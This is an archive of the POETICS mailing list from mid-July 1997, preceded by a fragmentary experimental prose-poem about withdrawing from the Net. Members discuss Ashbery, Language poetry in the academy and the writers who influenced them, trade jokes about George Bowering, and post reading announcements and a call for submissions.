cols in proper obeisance. the poverty of presence, I who am about to enter these ports salute proto- hard-penis useless flailed appendage. The computer always gestures towards cancel entertainment-modules, clearing thought for

corpse-mind. Ribs show, skim-milk, walk naked in hot loft, shield from sun. With "rpm -u <game>" I sion among physical. Loosening called for, I eat grain, fruit, rubdown- never sustenance. Letters crackle in skull, brain seeps, there is no divi- NOMAIL lasts periodically short time, before set-in occurs, one phone-call

life's give-and-take resonates with internal exchanges. empathetic convo for real. In the busy-world, face is acknowledgement, and them together produces the busy-world, the beautiful world of full and lists, building up supply of posts for simulacrum of community. Reading tend towards lesser time on Net, with varying results, going NOMAIL on lost, flaked from remnants of consciousness. It's in this stage that I lose their moorings, swim; it's impossible to concentrate, and subject is furrowed with desiccated tears; parched tongue refuses its socket. Letters In last stages, the skull protrudes through stretched skin; eyes split,

In Last Stages

↑ Index

409. Eliza McGrand- CVA Guest

Re: Granby, Mon Amour

Sun 13 Jul 1997

i understand mr. boowering has a very charming counter tenor and sustains the high notes dreadfully well, though this is not helped by the highland fling which he is wont to do in moments of patriotic fervor... at least this is what i heard -- he THOUGHT it was the highland fling.

another attendee reported it as something much less benign but she is also not perhaps the most accurate because it was so dark in her corner. no one really minded the lampshade, or that is what i understood the management to have said, until mr. b tried to force it over his hips so that it would be, he said, around his waist. i think we will all decline to speculate on that except to say we certainly hope he had ceased singing the fine canadian anthem by then e

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410. Karen and Trevor

call for submissions

Mon 14 Jul 1997

Fourteen Hills: The SFSU Review is accepting submissions for the Fall 1997 issue in fiction, poetry, creative non-fiction, and drama. We are also interested in cross-genre work. Please inlcude the following information with your submission: name address phone e-mail.

Fourteen Hills: The SFSU Review is published twice yearly by the Creative Writing Department at San Francisco State University. We are proud to announce that Mary Gaitskill's story "Comfort", published in the Fall 1995 issue, has received an O. Henry Award, and Kolin Ohi's "A Backward Glance" from Spring 1996 and Stephen Beachy's "Shapes" from Fall 1996 will both appear in _The Best American Gay Fiction 1997_.

The Holmes Awards will honor two emerging writers published in _Fourteen Hills_ during the academic year ("emerging" defined as not yet having yet published a book-length work at the time of publication) with a cash prize of $250. The Editor-in-Chief will choose from work published in the Fall and Spring issues--one poem to receive the Holmes Award in Poetry, and one essay, short-story, or dramatic work to receive the Holmes Award in Prose.

Submission deadline is September 15.
Fourteen Hills: The SFSU Review
c/o The Creative Writing Department
San Francisco State University
1600 Holloway Ave.
San Francisco, CA 94132-1722

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411. Mark Weiss
(no subject)
Mon 14 Jul 1997

Did any of you Bay Area types get to Stephen Vincent's reading at Canessa Park Gallery this past Thursday? Report?

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412. John Tranter
Vogelsang and Ern Malley
Mon 14 Jul 1997

In a recent post, Ron Silliman mentioned Vogelsang and Ern Malley in the one breath.

It might amuse the list to know that the policeman in Adelaide, South Australia, who prosecuted Max Harris in 1943 for publishing the "obscene" Ern Malley poems in his journal "Angry Penguins" was named Detective Vogelsang.

>>>>> John Tranter >>>>> [redacted]
39 Short St, Balmain NSW 2041, Australia
tel ([redacted] fax ([redacted]

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413. John Tranter
John, Frank and Wystan.
Mon 14 Jul 1997

Jacques Debrot said in a recent post:

"Ashbery's winning the Yale Younger Poets over O'Hara is in some ways proleptic of his later, and strangely wide, appeal, isn't it? "

Ashbery himself has mentioned this incident in a radio interview (with the present writer, broadcast in Australia in 1988). W.H.Auden had been asked to judge the prize that year (1956) and had sent back all the entries forwarded to him by the committee with the opinion that none was worthy of the prize.

Frank O'Hara heard of this and sent his own MS directly to Auden, along with a MS by his friend John Ashbery. Auden liked both, and gave the prize to Ashbery. (Naturally, given that the early Ashbery was much more like Auden than O'Hara ever was.) John Ashbery said "Frank gave my book a good review, which was very generous of him, under the circumstances."

John Ashbery also said the book ("Some Trees") was a terrible flop, taking more than eight years to sell out its eight hundred copies. He said that partly because the book was such a disaster, he felt he had no public to speak of, and therefore might as well write whatever he liked; thus the violent disjunctions of "The Tennis Court Oath."

So good luck follows bad.
>>>>> John Tranter >>>>> [redacted]
39 Short St, Balmain NSW 2041, Australia
tel ([redacted] fax ([redacted]

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414. George Bowering
Re: Granby, Mon Amour
Mon 14 Jul 1997

> *another attendee reported it as something much less benign but she is also not perhaps the most accurate because it was so dark in her corner. no one really minded the lampshade, or that is what i understood the management to have said, until mr. b tried to force it over his hips so that it would be, he said, around his waist. i think we will all decline to speculate on that except to say we certainly hope he had ceased singing the fine canadian anthem by then*
> *e*

I admit that it was not (in hindsight) a good idea to try to get the lampshade around my hips. But at the time it was the only way I could think of to get Rachel to stop poking at my nose.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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415. George Bowering
Re: Granby, Mon Amour
Mon 14 Jul 1997

> *Actually I was only attempting to clean George up a little. He had been so overcome by his readings in Bukowski that he was quite soggy,*
>
> *Rachel L.*

Now, come on. I think it's time certain members of this list woke up and started reading Bukowski with the intelligence this great Canadian poet deserves. Also, it is about time that some scholar out there paid attention to Mr Bukowski's sources. If you can read "Puking at the Post Office" without recalling "Self-Portrait in a Convex Mirror," you have not been reading carefully enough. I used to drink a bit with Chuck, and whenever he reached a certain degree of poetic intoxication, brought on, as I recall, by some very good Okanagan chablis, he would begin to recite from "The Tennis Court Oath," except he always called it "The Race Track Oath" for some reason.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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416. **Mark Prejsnar**
Re: acadominance & langpo
Mon 14 Jul 1997

On Fri, 11 Jul 1997, Jacques Debrot wrote:

> *It almost goes without saying that the origins of Language writing are over-determined: Stein, Zukofsky, theory, minimalist/conceptual art, the Peace movement, etc, etc. But now that Language writing's phase as an active literary movement has passed (as Mark Wallace, Mark Du Charme and others have recently pointed out in various magazines), the more interesting question seems to me, what next? Or rather, in what context (and for what purposes) are experimentalist poets now using the disjunctive and non-self-expressivist techniques innovated by Language writing? These are forms I myself prefer, but given that no technique is inherently radical, what motivates their use today?*

Jacques--

I would argue that much of what LPers have pointed out in their theory, is (for me) still a set of very active issues....How to blast apart the congealed ice of mainstream reading practices and publishing forms, for instance. And that that project is bound up with a profoundly left political set of concerns. (Again, as so often, I return to the fact that the *hidden secret*, at least apparently to most people, (but like most hidden secrets it's right there out in the open) with regard to LangPo theory is: it's huge debt to *Brecht*...but also its creative *extension* of Brecht; for instance combining him with Stein/Zuke/Ez to begin a synthesis involving both ideas of a public art and ideas of the physicality of language as an active medium.)

I have sympathy with your feeling that there is much more, beyond what's been done, for younger poets to reach toward. But: 1. to just abstractly shrug off what was done in the 70s and 80s could risk being just fashion-mangering; 2. if there's any truth or utility to a given group of theoretical insights ya gotta go *thru* them to get to your next step, and neither go around 'em, nor retreat back from them...

regards,
Mark P.
atlanta

↑ Index

417. **Mark Prejsnar**
Re: John, Frank and Wystan.
Mon 14 Jul 1997

I could have sworn that in some interview or other Ashbery said that (far from "liking" it) Auden very much *disliked* Some Trees, and had to be begged/badgered into accepting it, by the Wesleyan people...(..because for sure he disliked it *less* than any of the other submissions)

Or maybe that was someone else's recollection? But I have this sharp sense I read little JA himself saying that that happened...

Am I hallucinating?

Mark P.

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418. **Aldon L. Nielsen**
Re: John, Frank and Wystan.
Mon 14 Jul 1997

As I heard the story, Chester Kallman played a role in that Yale Younger narrative --

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419. **Pritchett,Pat**
Re: Readings at Naropa/ dont forget to m
Mon 14 Jul 1997

Thank you for your thanks, David. This only goes to prove that we are indeed ALL David Bromige, as has been previously noted. Reports of Ed Sanders' gizmos, as also already noted, were greatly exaggerated - I should have said, "and then he fiddled with a video camera, as if to tantalize the audience's expecations of further gizmo fussing..."

Recovering from a self-inflicted gizmo (read: corkscrew) wound to the cranium,
Patrick Pritchett

From: David Bromige
To: POETICS
Subject: Readings at Naropa/ dont forget to mention Ashbery
Date: Monday, July 14, 1997 7:10AM

Thanks, Pat Pritchett, for yet another reading-report from the Buddhist Big Top. When I read these reports, I feel as though I _am_ you. I am sure my response

to these various readers would be almost identical--if only that they _have_ been, in former years of reading-going. I am puzzled about one thing, tho, & that is Ed Sanders' gizmos that he fiddled with before reading. Are these Whi.He.My.Ma Gizmos, or Tibetan Buddhist Gizmos, or Gizmos fetched from Woodstock? More on the Gizmos, please. David

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420. **Maria Damon**
Re: Granby, Mon Amour
Mon 14 Jul 1997

At 10:59 PM -0400 7/13/97, Eliza McGrand- CVA Guest wrote:
>i understand mr. boowering has a very charming counter tenor and sustains
>the high notes dreadfully well,

bowering sometimes summers under the alias of "alfred deller cornsby," i'm told, but takes care that this is not publicly known...

though this is not helped by the highland
>fling which he is wont to do in moments of patriotic fervor... at least
>this is what i heard -- he THOUGHT it was the highland fling.

to my recollection, the only fling of which mr b is capable is that of --ing himself to his knees in sublime abjection, but in fact your paragraph seems to sustain that general tenor, if i may say so...
>
>another attendee reported it as something much less benign but she is
>also not perhaps the most accurate because it was so dark in her corner.
>no one really minded the lampshade, or that is what i understood the
>management to have said, until mr. b tried to force it over his hips
>so that it would be, he said, around his waist. i think we will all
>decline to speculate on that except to say we certainly hope he had
>ceased singing the fine canadian anthem by then
>e

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421. **Mark Wallace**
feeling "dumbed down"
Mon 14 Jul 1997

Thanks to Rod Smith for asking some clarifying questions about my recent post. Of course I think, as Rod rightly points out, that there are substantive differences between all sorts of poetic perspectives and academic specialities, and that those differences are important. And I too would like, for instance, if it was

possible at the universities where I teach to have even a single course in any kind of "postmodern" innovative poetry, when the closest these universities get is one two-sememster course in "American Poetry" that sometimes, but rarely, reaches Ashbery. And it would be nice also to feel more room in creative writing courses to introduce "experimental" techniques, however defined--and I do introduce such techniques whenever I can.

But the question is, matters to whom? And the answer is, well, you and me, and other people interested in literature. But to the academic environment at large, or to the bureaucracy of the university itself? I'm quite sure that the president, say, of either one of these universities really could care less WHAT points of view are taught in the English department. Why, you can even be a communist, burn flags and stuff. Would the bureaucracy object to a course on language poetry every year? Not at all--they'd even let you go ahead and have several, as long as the department itself could still cover basic "requirements" such as composition and survey courses, etc. Try to teach ONLY language poetry and then you might have a battle.

So it depends on what one means by 'acdominant'--what professors in English departments think about literature? What they are doing to meet or change bureaucratic requirements? What books are published, and who has the biggest literary reputation? Then yes, clearly some viewpoints have more "dominance" than others, although that itself is not cut and dried. In my experience, most professors in English departments aren't even having enough conversation to agree or disagree with each other at all--they haven't read the same texts, and don't want to waste much time talking because they've got careers to defend, and in some cases (not enough unfortunately), ideas that they want to pursue. Usually, the most in-depth coversation they have is about whether there's a "field" that they need to cover that the university will fund a teaching line for, one that has enough social cache to now need to be "covered."

But isn't such specialization itself an ideology? And isn't that specialization ideology itself wedded to to the ideological limits of any notion of coverage? Also yes. But the fact of the matter is that any subject can be fit into the academic system that this ideology supports. Indeed I don't think it will be too long before language poetry DOES get taught at American universities. Already one of the schools where I teach has a regular undergraduate course in Postcolonial Literature. Is that a good thing? Yes. Does it change the content of what is "covered"? Again yes, a little. Does it change the organization of the university system, in some kind of "trickle down" phenomena in which more university bureaucrats have awareness about issues of racism, awareness that they act on? Well, perhaps yes, but now I'm starting to feel skeptical. Has the ideology that states that "coverage" is the point, and that experts "cover" fields, been changed? Not one bit.

So, what's at stake in an English department for "language poetry," or any other "field" that can be delimated by a name, is whether it gets its piece of the "coverage." And THEN literary politics matter--and yes, there are still so many professors who haven't even heard of Language poetry that they are unlikely to want it taught. So there's one battle. And the other thing at stake is whose books about literature will get published--will we have 15 books about language poetry this year, as opposed to 7 or so last year? At what point will those numbers crest and begin to go down?

So yes, in one sense the debate matters. You can read Ron Silliman in a few courses in the United States; probably you can't read Bob Grumman in any such courses. Of course, I know that's wrong, actually--in the graduate/undergraduate course I taught on Modern American Poetry last fall, I DID teach Bob Grumman's VERY STRAYNGE BOOK, but did not teach Ron at all (sorry, Ron, I'll "cover" you next time, love what you're doing, etc). So Bob, there's 35 students for you who know more about you than they do about Ron. And then, too, it's harder to read about Ron than it is about T.S. Eliot, although if I had to place a bet, I would say that Ron MIGHT be starting to give Robert Lowell a run for his money, in terms of how many academic books/articles mention his name in 1996-7. If that's true, great. I'm all for it. If not, let's work on it.

I don't mean to devalue the differences between theories of poetry (especially in terms of what gets taught in creative writing at the present moment) but it's hard for me sometimes to get that worked up about it. Language poets WILL get their courses, and WILL get their books. Bob Grumman WILL be taught somewhere, some time (again). Yes, T.S. Eliot has the drop on both of them--that may or may not change. But even if it did, all it would mean would be that Bob or Ron or whoever would be better read and better known in a world that looks pretty much like it does already. And somebody down the line might say "I'm tired of this canonical Bob Grumman" and whoosh, down he'd go too. There's NOTHING in the academic system to prevent that from happening. But there is a great deal in the academic system that prevents anything MORE than that from happening.

Perhaps, for instance, some facts about the "acodominance" of language poetry at that bastion of poetry radicalism, UBuffalo, might help my argument? In a department with, say, 30-40 professors, how many language poets are there? Two, if you count Susan Howe, which many will and many will not. Two. It's actually impressive that there's more than one. But you can be COMPLETELY certain that there will never be five. There probably will never be three. It's "covered" already, so who would fund it? At the two universities where I teach, how many poets there are specifically associated with language poetry? Well, me, actually. Some people have taken to calling me "that language poet Mark Wallace." Except I'm not a language poet, although I might as

well be as far as almost everyone there is concerned. Actually, since I'm an adjunct, with the exception of maybe five or six people there's no one at those schools who knows anything about my poetry at all. If I keep plugging away, one day more of them might. What I'm trying to figure out is how much that will matter.

So I agree with Rod Smith that the substance of these issues matters. I especially feel it in terms of creative writing where, yes, as Ron Silliman points out, a "conservative" approach to poetic form receives the most resources and highest profile. But I also think that too much concentration on these issues avoids the fact that literature has very little significance elsewhere in this society. We can argue about who should be "covered" in classes, but I think that equal focus needs to be placed on the discplinary practices of university bureaucracies, and the way we can tie into those bureaucracies, often without even being conscious of it. And it's hard for me not to think that there, the idea of "dominant" LITERARY ideas would be at best a mystery, and at worst laughable, unless we were talking about Stephen King, who makes enough cash that he might actually donate some.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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422. George Bowering
Re: Granby, Mon Amour
Mon 14 Jul 1997

> *bowering sometimes summers under the alias of "alfred deller cornsby," i'm told, but takes care that this is not publicly known...*

So alleges one Maria Damon.

I have news for her. It may be true that that is one of my pen names,
BUT
all the stuff I type under that name was written by David Bromige.

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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423. Joe Safdie
Re: The language of influence
Mon 14 Jul 1997

On Fri, 11 Jul 1997, Fred Muratori wrote:

? More than one poet has told me that when they look to their bookshelves for poetry that will drive/inspire them to hit the keyboard or legal pad, Ashbery's are the last ones they'd select, regardless of how much they might otherwise like and appreciate his work.

THAT'S an interesting question, isn't it? Not "what poets do you like?" or even "what poets do you read?" but what poets actually DRIVE you to the notebook, word processor, etc?

An old friend once told me that when he felt blocked, he would read Rilke and Frank O'Hara -- simultaneously (or nearly) -- and that he hadn't known it to fail yet.

Or perhaps there's not such an easy transference from anyone. Anyone have any thoughts about this?

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424. David Israel
Re: The language of influence
Mon 14 Jul 1997

Fred Muratori: << More than one poet has told me that when they look to their bookshelves for poetry that will drive/inspire them to hit the keyboard or legal pad, Ashbery's are the last ones they'd select >>

and Joe Safdie << THAT'S an interesting question, isn't it? Not "what poets do you like?" or even "what poets do you read?" but what poets actually DRIVE you to the notebook, word processor, etc? . . . Anyone have any thoughts about this? >>

I can report having been (at least once) driven directly to pen & paper by reading Ashbery (following, in that case, my occasional custom of inscribing my jottings in the blank pages that one handily finds at the end of books; -- this is a custom I think I might even venture to suggest to others -- at least to those not scandalized by the idea; at some point I could even go thru my books & note which volumes are so adorned -- a case study . . . but for not, I'll stick w/

Ashbery. Well one other: some DC (?) poet has a little volume entitled *Asbestos*, in which I inscribed a poem that became the nucleus of a book of poems. In this case, I can't say I was enraptured by *Asbestos*, but somehow it did drive me to writ my own stuff). As for the Ashbery, was one of his early volumes -- prob. *The Double Dream of Spring*. I've also been sent, if not directly to pen or keyboard (?), then certainly to a sense of wanting to repair thereto, by the opening pages of Ashbery's *Flowchart*.

I can also report being driven to brush & canvas -- by Ashbery's poem "Hotel Latraemont" [sp?], when it appeared in . . . yup, *The New Yorker* in 1990 (it subsequently became title poem of a book of JA's). In those days, I was doing paintings in which I'd inscribe lines from poems, and was very pleased with that memorable & remarkable one.

(Also did -- incidentally -- a very large [and very incomplete] sequence of small canvases based on Rilke's *Notebooks of Brigge*. And,for the record, I did a large (& finished) canvas inspired by that paper-boat poem of Tagore's that Steven Marks has lately mentioned liking [in my paraphrase of it]. . . .)

Have also been driven to ink & paper by [here's a partial list]: George Oppen, Ann Lauterbach, Tom Mandel, Jane Hirshfield, W.C. Williams, Charles Wright, Andre Codrescu (whimsical essays, not poetry), Italo Calvino, Eugenio Montale, *Han Shan in English* (an essay), the film *In Custody* (abt. a fictional Urdu poet), and -- noteably? -- front pages of the Wall Street Journal & the Washington Post (several times).

cheers,
d.i.

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425. Bob Grumman

Re: Acadominance; also an Announcement

Mon 14 Jul 1997

Yikes, I just don't know how to handle this revelation from Mark Wallace about his teaching my StrayngeBook. I never expected my off-hand comment about acadominance to so quickly come home to roost!

One good thing about it: everyone on this list will now have to obey my command to order a copy of *O!!Zone 97*, an anthology of visual, textual and visiotextual art edited by Harry Burrus that's just come out. 83 pages of work from 57 artists. $13 for individuals, $25 for institutions. International in scope. Lots of good stuff by good people including the list's own Dave Chirot. Most of the names are new to me, which I count a good sign, but I saw a few well-known

ones (to people in mail art and related fields, at least) like Ruggero Maggi, Jurgen O. Olbrich, Hartmut Andrycuk and Clemente Padin.

Anyone interested in Visual Poetry ought to check out Karl Young's Light & Dust Site, too: he's got a terrific selection of works by Alain Satie, and has just opened (in honor of Bastille Day) a gallery of works from KALDRON, this country's longest-running international visual poetry periodical (to my knowledge). Several really fine pieces by people like Marilyn R. Rosenberg, Carol Stetser, Shohachiro Takahashi--and (speaking of flow-chart poetry a while back) a collaboration between Miekal And, Liz Was and Michael Helsem that is part flow-chart, part circuit diagram, many parts who-knows-what--and all parts fascinating. I have a piece in the KALDRON collection, too, an acadominant one--and maybe that's not so facetious, for it's an homage to none other than Will Shakespeare!

Bob G.

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426. **Kali Tal**

Re: The language of influence

Mon 14 Jul 1997

> *Looking over this list, I notice a number of fiction writers. What fiction (or nonfiction writers) influence all of you?*

Chinua Achebe
Ama Ata Aidoo
Jorge Amado
Toni Cade Bambara
L. Frank Baum
Alejo Carpentier
Roland Barthes
Ambrose Bierce
Mikhail Bulgakov
Edgar Rice Burroughs
Italo Calvino
Lewis Carroll
Willa Cather
C.J. Cherryh
D.G. Compton
Samuel Delany
Philip K. Dick
Umberto Eco
Ralph Ellison

Louise Erdrich
William Faulkner
Romaine Gary
The Brothers Grimm
Gustav Hasford
Bessie Head
Joseph Heller
Chester Himes
Zora Neale Hurston
Maxine Hong Kingston
Mario Vargas Llosa
R.A. Lafferty
Tanith Lee
Gabriel Garcie Marquez
Yukio Mishima
Toni Morrison
John Nichols
Kenneth Robeson
Joanna Russ
e.e. "doc" smith
Wole Soyinka
James Tiptree, Jr.
Mark Twain
Alice Walker
John A. Williams

Probably accounts for the strange shape of my head...

Kali

Kali Tal New WORD Order PO Box 13746
http://www.new-word.com Tucson, AZ 85732-3746 "Web design for smart people" [redacted]

Sixties Project & Viet Nam Generation, Inc. Kali Tal's Home Page
http://jefferson.village.virginia.edu/sixties http://www.kalital.com

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427. David Bromige
Burnaby Mon Amour
Mon 14 Jul 1997

True, but there are also the books I penned that appeared under George Bowering's name : "Kerrisdale Elegies" & "Sticks & Stones". It's not all that hard. Just

speak basso profumo & keep it short. Where did the title of this thread ("Granby...") originate?

I should be responding to Mark Wallace's post but I just got a new, silver car (well, nouveau, pas tout neuf) & I cant think about anything that doesnt have silver in it, like Bowering's hair. I have just come back, whats more, from the DMV, so my feet hurt. David "Ghost Writer in the Drink" Bromige.

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428. Steven Marks
Re: The language of influence
Mon 14 Jul 1997

Driven to the blank page/keyboard by:
reading theory (that's right, theory!)
Kafka
Borges
Anne Carson
Ann Lauterbach
Rosmarie Waldrop
Joyce
Jeanette Winterson
Steven Milhauser (sp?)

Looking over this list, I notice a number of fiction writers. What fiction (or non-fiction writers) influence all of you?

cheers,
Steven

On Mon, 14 Jul 1997, David Israel wrote:

> *Fred Muratori: << More than one poet has told me that when they look to their bookshelves for poetry that will drive/inspire them to hit the keyboard or legal pad, Ashbery's are the last ones they'd select >>*
>
> *and Joe Safdie << THAT'S an interesting question, isn't it? Not "what poets do you like?" or even "what poets do you read?" but what poets actually DRIVE you to the notebook, word processor, etc? . . . Anyone have any thoughts about this? >>*
>
> *I can report having been (at least once) driven directly to pen & paper by reading Ashbery (following, in that case, my occasional custom of inscribing my jottings in the blank pages that one handily finds at the end of books; -- this is a custom I think I might even venture to suggest to others -- at least to those not scandalized by the idea; at some point I*

> *could even go thru my books & note which volumes are so adorned -- a case study . . . but for not, I'll stick w/ Ashbery. Well one other: some DC (?) poet has a little volume entitled *Asbestos*, in which I inscribed a poem that became the nucleus of a book of poems. In this case, I can't say I was enraptured by *Asbestos*, but somehow it did drive me to writ my own stuff). As for the Ashbery, was one of his early volumes -- prob. *The Double Dream of Spring*. I've also been sent, if not directly to pen or keyboard (?), then certainly to a sense of wanting to repair thereto, by the opening pages of Ashbery's *Flowchart*.*
>
> *I can also report being driven to brush & canvas -- by Ashbery's poem "Hotel Latraemont" [sp?], when it appeared in . . . yup, *The New Yorker* in 1990 (it subsequently became title poem of a book of JA's). In those days, I was doing paintings in which I'd inscribe lines from poems, and was very pleased with that memorable & remarkable one.*
>
> *(Also did -- incidentally -- a very large [and very incomplete] sequence of small canvases based on Rilke's *Notebooks of Brigge*. And,for the record, I did a large (& finished) canvas inspired by that paper-boat poem of Tagore's that Steven Marks has lately mentioned liking [in my paraphrase of it]. . . .)*
>
> *Have also been driven to ink & paper by [here's a partial list]: George Oppen, Ann Lauterbach, Tom Mandel, Jane Hirshfield, W.C. Williams, Charles Wright, Andre Codrescu (whimsical essays, not poetry), Italo Calvino, Eugenio Montale, *Han Shan in English* (an essay), the film *In Custody* (abt. a fictional Urdu poet), and -- noteably? -- front pages of the Wall Street Journal & the Washington Post (several times).*
>
> *cheers,*
> *d.i.*

Steven Marks

http://members.aol.com/swmarks/welcome.html

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429. **Alan J Sondheim**

Re: The language of influence

Mon 14 Jul 1997

On Mon, 14 Jul 1997, Steven Marks wrote:

> *Looking over this list, I notice a number of fiction writers. What fiction (or nonfiction writers) influence all of you?*

> *cheers,*
> *Steven*

Violette Leduc. Ursula Molinaro. JGBallard. Maxine Hong Kingston. Heiner Muller. Juan Rulfo. James Ellroy. Julia Kristeva. Alphonso Lingis. Diogenes Laertius.

Alan

↑ Index

430. **James Finnegan**
Re: Bob Grumman's list poetic schools / Is Langpo acadomina
Tue 15 Jul 1997

In a message dated 97-07-11 21:10:30 EDT, you write:

<< Are we living in the same universe??

Plenty of people have been influenced by Ashbery, but except for Ann Lauterbach (and >>

Cole Swenson
Donald Revell
Marilyn Hacker
Amy Gerstler
Forrest Gander
& of course Jorie Graham

come to mind without running to my bookcase.
Also, there have been many reported sightings
outside of Roswell of grad writing students
carrying a dogeared Ashbery tucked under
one arm.

Finnegan

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431. **Dean Taciuch**
Re: The language of influence
Tue 15 Jul 1997

> *On Fri, 11 Jul 1997, Fred Muratori wrote:*
>
> *? More than one poet has told me that when they look to their bookshelves for poetry that will drive/inspire them to hit the keyboard or legal pad, Ashbery's are the last ones they'd select, regardless of how much they might otherwise like and appreciate his work.*

> *THAT'S an interesting question, isn't it? Not "what poets do you like?" or even "what poets do you read?" but what poets actually DRIVE you to the notebook, word processor, etc?*

Oddly, Ashbery's one of the poets I've always reached for on my shelves when I need motivation to write. I used to find bits of Ahsbery all through my poems, because often that's who I'd been reading just before sitting down to write. Not so much the case anymore, though probably because my writing habits have changed.

Dean

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432. **aerialedge**
Re: The language of influence
Tue 15 Jul 1997

In a message dated 7/15/97 10:28:57 AM, you wrote:

> *THAT'S an interesting question, isn't it? Not "what poets do you like?" or even "what poets do you read?" but what poets actually DRIVE you to the notebook, word processor, etc?*

listen to Bird

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433. **Miekal And**
the internalational dictionary of neologisms
Tue 15 Jul 1997

---

cris cheek wrote:
>
> Hi, (sorry about cross-posting, that's part of it)
>
> I'm thinking about writing something extended on 'neologism'
>
> in which respect a few leading questions:
>
> - anybody have any references they can point me to?
>
> - what political / social imperatives and ideologies drive 'neologism' today?

>
> - what would you cite as examples of contemporary 'neologism'?

been out of touch lately, sorry Im responding late to this question. just wanted to remind folks that we have a neologism project since 1985 & there is now a very clunky version (fuck html) of our dictionary at:

http://www.net22.com/neologisms/

submissions encouraged.

phouda gouda

miekal

> *grateful for anything on this*
> *backchannel or up on the list for discussion*
>
> *love and love*
> *cris*

--
@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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434. **rsillima**
Brecht
Tue 15 Jul 1997

Mark,

Brecht is how you get from Shklovsky to Benjamin, the concepts of ostranenie and alienation being virtually identical. I didn't really start to read him much myself, other than the plays, until the 1978 when I was part of a Marxist Study Group led by the Che of theory himself, Bruce Boone, in SF, in which he introduced BB's critical work. Also involved were Steve Benson, Bob Gluck and Kathleen Fraser.

From: Mark Prejsnar <[redacted]>
Subject: Re: acadominance & langpo

Again, as so often, I return to the fact that the *hidden secret*, at least apparently to most people, (but like most hidden secrets it's right there out in the open) with regard to LangPo theory is: it's huge debt to *Brecht*...but also its creative *extension* of Brecht; for instance combining him with Stein/Zuke/Ez

to begin a synthesis involving both ideas of a public art and ideas of the physicality of language as an active medium.)

Ron, again:

Mark W,

I'm glad to see that you've finally unveiled the role of Bob Grumman in acadominance. It's about time that we see some explication of the Grumman Gruppe in print (tho I've heard people attempt to connect the work to that of LA poet-actor Harry Northrup Jr, into something they call Northrup- Grumman, but that's another tale).

Ron

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]
http://writing.upenn.edu/epc/authors/silliman/

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435. Kim Dawn
influential writers/fiction
Tue 15 Jul 1997

maurice blanchot. georges bataille. fyodor dostoevsky. henry miller. joyce carol oates. daphne marlat. nicole brossard. erin moure. kathy acker. marie claire blais. antonin artaud. jean paul sartre. gertrude stein.

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436. Kali Tal
Re: influential writers/fiction/comedians
Tue 15 Jul 1997

> *What comedians do people find inspiring?*

Lucille Ball
Eric Bogosian
Lennry Bruce
George Carlin

Cheech & Chong
Bill Cosby
Firesign Theater
The Kids in the Hall
Redd Fox
Whoopi Goldberg
Tom Lehrer
Richard Pryor
Lily Tomlin

& the entire Saturday Night Live crew of the early years....

Kali

Kali Tal New WORD Order PO Box 13746
http://www.new-word.com Tucson, AZ 85732-3746 "Web design for smart people" [redacted]

Sixties Project & Viet Nam Generation, Inc. Kali Tal's Home Page
http://jefferson.village.virginia.edu/sixties http://www.kalital.com

↑ Index

437. Sherry Brennan
Central Pennsylvania poetry reading
Tue 15 Jul 1997

I don't know if there's anyone in Harrisburg or the surrounding area on this list, but thought I'd post the following:

The New Poetry in Reading Series is hosting a reading by C.S. Giscombe and Kenneth A. McClane this Saturday, July 19, 8 p.m. at Svoboda's Books. Svoboda's is at 227 W. Beaver Ave in downtown State College. Both Giscombe and McClane will be reading from forthcoming books.

McClane, W.E.B. Du Bois Professor of Literature at Cornell, is a poet and essayist. He has published 7 books of poetry, a book of essays, _Walls_, and has another book of essays forthcoming. His essay on James Baldwin in _Walls_ is really marvelous, and I hear he is a great reader.

Cecil Giscombe is here at Penn State this summer as a Minority Summer Scholar. Giscombe is a poet with several books, most recently _Here_ (Dalkey Archive), and _Two Sections from Giscombe Road_ (Leave Books). He is currently working on a prose book (although I heard some of this read a few weeks ago, and I'd contend that it's prose poetry). It is loosely historical, based on the life of John Giscome, a West Indian "miner & explorer" who settled in British

Columbia in the 19th century. Giscombe's work is mellifluous and quite beautiful.

If anyone would like more information, directions, e-mail me at [redacted]. Thanks.

Sherry Brennan

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438. Bob Grumman
The Real Story
Tue 15 Jul 1997

Ron Silliman writes that he's glad Mark Wallace has "finally unveiled the role of Bob Grumman in acadominance. It's about time that we see some explication of the Grumman Gruppe in print (tho I've heard people attempt to connect the work to that of LA poet-actor Harry Northrup Jr, into something they call Northrup-Grumman, but that's another tale)."

As long as no one reveals the *real* connection (to George Bowering-- the reversal of initials is a dead give-away) . . . (My underlings organized the whole Northrup-Grumman thing to misdirect my enemies.)

Hey, while there's talk of influences, how about of cartoonists? I'll bet Walt Kelly and George Herriman have influenced a LOT of poets.

--Bob G.

↑ Index

439. Maria Damon
Re: The language of influence
Tue 15 Jul 1997

At 12:31 AM +0100 7/15/97, Kali Tal wrote:
>>Looking over this list, I notice a number of fiction writers. What fiction
>>(or nonfiction writers) influence all of you?
>
jean genet
raymond carver
john preston

↑ Index

440. **Gwyn McVay**
Re: Bob Grumman's list poetic schools / Is Langpo acadomina
Tue 15 Jul 1997

& William Bronk too. Actually, from the Susan Schultz-edited book /The Tribe of John/, it would seem there are rather droves of Ashbery influencees.

Gwyn,
hoping no one is on a "hate Ashbery" trip: that's so retro

↑ Index

441. **Pritchett,Pat**
Re: The language of influence
Tue 15 Jul 1997

---

whoa! ee "doc" smith - haven't seen that name in ages. One of my faves from adolescence. I was thinking just the other day of digging up one of those testosterone driven Kimball Kinnison Lensman books and seeing how they held up. Wld it be a "thionite dream" - or just a seven sector call out?

Having a hard time thinking of prose writers, but my own list wld include:

RL Stevenson
Willa Cather
Raymond Chandler
Virginia Woolf

↑ Index

442. **Mark Weiss**
Neologism
Tue 15 Jul 1997

---

